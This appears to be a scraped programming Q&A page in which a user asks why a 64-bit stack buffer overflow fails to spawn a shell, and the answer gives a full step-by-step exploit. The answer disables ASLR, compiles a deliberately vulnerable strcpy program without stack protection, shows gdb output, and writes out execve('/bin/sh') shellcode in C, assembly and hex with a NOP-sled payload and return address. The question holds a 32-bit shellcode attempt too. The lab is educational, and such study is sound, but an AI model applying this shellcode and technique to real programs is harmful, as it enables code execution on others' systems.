Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Buffer overflows on 64 bit

I am trying to do some experiments with buffer overflows for fun. I was reading on this forum on the topic, and tried to write my own little code.

So what I did is a small "C" program, which takes character argument and runs until segmentation fault.

So I supply arguments until I get a message that I overwrote the return address with "A" which is 41. My buffer character length, in which I copy my input strings is [5].

Here is what I did in gdb.

run $(perl -e 'print "A"x32  ; ')
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400516 in main (argc=Cannot access memory at address 0x414141414141412d

Then I figured out that it takes 16 'A' to overwrite.

run $(perl -e 'print "A"x16 . "C"x8 . "B"x32   ; ')
0x0000000000400516 in main (argc=Cannot access memory at address 0x434343434343432f
) 

Which tells us that the 8 "C" are overwriting the return address.

According to the online tutorials if I supply a valid adress instead of the 8 "C". I can jump to some place and execute code. So I overloaded the memory after the initial 16 "A".

The next step was to execute

run $(perl -e 'print "A"x16 . "C"x8 . "B"x200   ; ')

rax            0x0      0
rbx            0x3a0001bbc0     249108216768
rcx            0x3a00552780     249113683840
rdx            0x3a00553980     249113688448
rsi            0x42     66
rdi            0x2af9e57710e0   47252785008864
rbp            0x4343434343434343       0x4343434343434343
rsp            0x7fffb261a2e8   0x7fffb261a2e8
r8             0xffffffff       4294967295
r9             0x0      0
r10            0x22     34
r11            0xffffffff       4294967295
r12            0x0      0
r13            0x7fffb261a3c0   140736186131392
r14            0x0      0
r15            0x0      0
rip            0x400516 0x400516 <main+62>
eflags         0x10206  [ PF IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
fctrl          0x37f    895
fstat          0x0      0
ftag           0xffff   65535
fiseg          0x0      0
fioff          0x0      0
foseg          0x0      0
fooff          0x0      0
fop            0x0      0
mxcsr          0x1f80   [ IM DM ZM OM UM PM ]

After examining the memory 200 bytes after $rsp i found an address and I did the following:

run $(perl -e 'print "A"x16 . "\x38\xd0\xcb\x9b\xff\x7f" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"   ; ')

This however does not do anything. I would be grateful if someone can give me an idea what am I doing wrong.

like image 841
Alexander Cska Avatar asked Dec 27 '22 07:12

Alexander Cska


1 Answers

First make sure that you change the randomize_va_space. On Ubuntu you would run the following as root
echo 0 > /proc/sys/kernel/randomize_va_space

Next make sure you are compiling the test program without stack smashing protection and set the memory execution bit. Compile it with the following gcc options to accomplish
-fno-stack-protector -z execstack

Also I found I needed more space to actually execute a shell so I would change your buffer to something more like buffer[64]

Next you can run the app in gdb and get the stack address you need to return to
First set a breakpoint right after the strcpy

(gdb) disassemble main
Dump of assembler code for function main:
   0x000000000040057c <+0>: push   %rbp
   0x000000000040057d <+1>: mov    %rsp,%rbp
   0x0000000000400580 <+4>: sub    $0x50,%rsp
   0x0000000000400584 <+8>: mov    %edi,-0x44(%rbp)
   0x0000000000400587 <+11>:    mov    %rsi,-0x50(%rbp)
   0x000000000040058b <+15>:    mov    -0x50(%rbp),%rax
   0x000000000040058f <+19>:    add    $0x8,%rax
   0x0000000000400593 <+23>:    mov    (%rax),%rdx
   0x0000000000400596 <+26>:    lea    -0x40(%rbp),%rax
   0x000000000040059a <+30>:    mov    %rdx,%rsi
   0x000000000040059d <+33>:    mov    %rax,%rdi
   0x00000000004005a0 <+36>:    callq  0x400450 <strcpy@plt>
   0x0000000000**4005a5** <+41>:    lea    -0x40(%rbp),%rax
   0x00000000004005a9 <+45>:    mov    %rax,%rsi
   0x00000000004005ac <+48>:    mov    $0x400674,%edi
   0x00000000004005b1 <+53>:    mov    $0x0,%eax
   0x00000000004005b6 <+58>:    callq  0x400460 <printf@plt>
   0x00000000004005bb <+63>:    mov    $0x0,%eax
   0x00000000004005c0 <+68>:    leaveq 
   0x00000000004005c1 <+69>:    retq   
End of assembler dump.
(gdb) b *0x4005a5
Breakpoint 1 at 0x4005a5

Then run the app and at the break point grab the rax register address.

(gdb) run `python -c 'print "A"*128';`
Starting program: APPPATH/APPNAME `python -c 'print "A"*128';`

Breakpoint 1, 0x00000000004005a5 in main ()
(gdb) info register
rax            0x7fffffffe030   140737488347136
rbx            0x0  0
rcx            0x4141414141414141   4702111234474983745
rdx            0x41 65
rsi            0x7fffffffe490   140737488348304
rdi            0x7fffffffe077   140737488347255
rbp            0x7fffffffe040   0x7fffffffe040
rsp            0x7fffffffdff0   0x7fffffffdff0
r8             0x7ffff7dd4e80   140737351863936
r9             0x7ffff7de9d60   140737351949664
r10            0x7fffffffdd90   140737488346512
r11            0x7ffff7b8fd60   140737349483872
r12            0x400490 4195472
r13            0x7fffffffe120   140737488347424
r14            0x0  0
r15            0x0  0
rip            0x4005a5 0x4005a5 <main+41>
eflags         0x206    [ PF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb)

Next determine your max buffer size. I know that the buffer of 64 crashes at 72 bytes so I will just go from that.. You could use something like metasploits pattern methods to give you this or just figure it out from trial and error running the app to find out the exact byte count it takes before getting a segfault or make up a pattern of your own and match the rip address like you would with the metasploit pattern option.

Next, there are many different ways to get the payload you need but since we are running a 64bit app, we will use a 64bit payload. I compiled C and then grabbed the ASM from gdb and then made some changes to remove the \x00 chars by changing the mov instructions to xor for the null values and then shl and shr to remove them from the shell command. We will show this later but for now the payload is as follows.

\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05

our payload here is 48 bytes so we have 72 - 48 = 24

We can pad the payload with \x90 (nop) so that instruction will not be interrupted. Ill add 2 at the end of the payload and 22 at the beginning. Also I will tack on the return address that we want to the end in reverse giving the following..

`python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';`

Now if you want to run it outside of gdb, you may have to fudge with the return address. In my case the address becomes \x70\xe0\xff\xff\xff\x7f outside of gdb. I just increased it until it worked by going to 40 then 50 then 60 then 70..

test app source

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char name[64];

  strcpy(name, argv[1]);
  printf("Arg[1] is :%s\n", name);

  return 0;
}

This is the payload in C

#include <stdlib.h>

int main()
{
  execve("/bin/sh", NULL, NULL);
}

And payload in ASM which will build and run

int main() {
  __asm__(
    "mov    $0x0,%rdx\n\t"                // arg 3 = NULL
    "mov    $0x0,%rsi\n\t"                // arg 2 = NULL
    "mov    $0x0068732f6e69622f,%rdi\n\t"
    "push   %rdi\n\t"                     // push "/bin/sh" onto stack
    "mov    %rsp,%rdi\n\t"                // arg 1 = stack pointer = start of /bin/sh
    "mov    $0x3b,%rax\n\t"               // syscall number = 59
    "syscall\n\t"
  );
}

And since we can't use \x00 we can change to xor the values and do some fancy shifting to remove the bad values of the mov for setting up /bin/sh

int main() {
  __asm__(
    "xor    %rdx,%rdx\n\t"                // arg 3 = NULL
    "mov    %rdx,%rsi\n\t"                // arg 2 = NULL
    "mov    $0x1168732f6e69622f,%rdi\n\t"
    "shl    $0x8,%rdi\n\t"                
    "shr    $0x8,%rdi\n\t"                // first byte = 0 (8 bits)
    "push   %rdi\n\t"                     // push "/bin/sh" onto stack
    "mov    %rsp,%rdi\n\t"                // arg 1 = stack ptr = start of /bin/sh
    "mov    $0x111111111111113b,%rax\n\t" // syscall number = 59
    "shl    $0x38,%rax\n\t"         
    "shr    $0x38,%rax\n\t"               // first 7 bytes = 0 (56 bits)
    "syscall\n\t"
  );
}

if you compile that payload, run it under gdb you can get the byte values you need such as

(gdb) x/bx main+4
0x400478 <main+4>:  0x48
(gdb) 
0x400479 <main+5>:  0x31
(gdb) 
0x40047a <main+6>:  0xd2
(gdb)

or get it all by doing something like

(gdb) x/48bx main+4
0x4004f0 <main+4>:  0x48    0x31    0xd2    0x48    0x89    0xd6    0x48    0xbf
0x4004f8 <main+12>: 0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68    0x11
0x400500 <main+20>: 0x48    0xc1    0xe7    0x08    0x48    0xc1    0xef    0x08
0x400508 <main+28>: 0x57    0x48    0x89    0xe7    0x48    0xb8    0x3b    0x11
0x400510 <main+36>: 0x11    0x11    0x11    0x11    0x11    0x11    0x48    0xc1
0x400518 <main+44>: 0xe0    0x38    0x48    0xc1    0xe8    0x38    0x0f    0x05
like image 150
Jason Avatar answered Jan 06 '23 09:01

Jason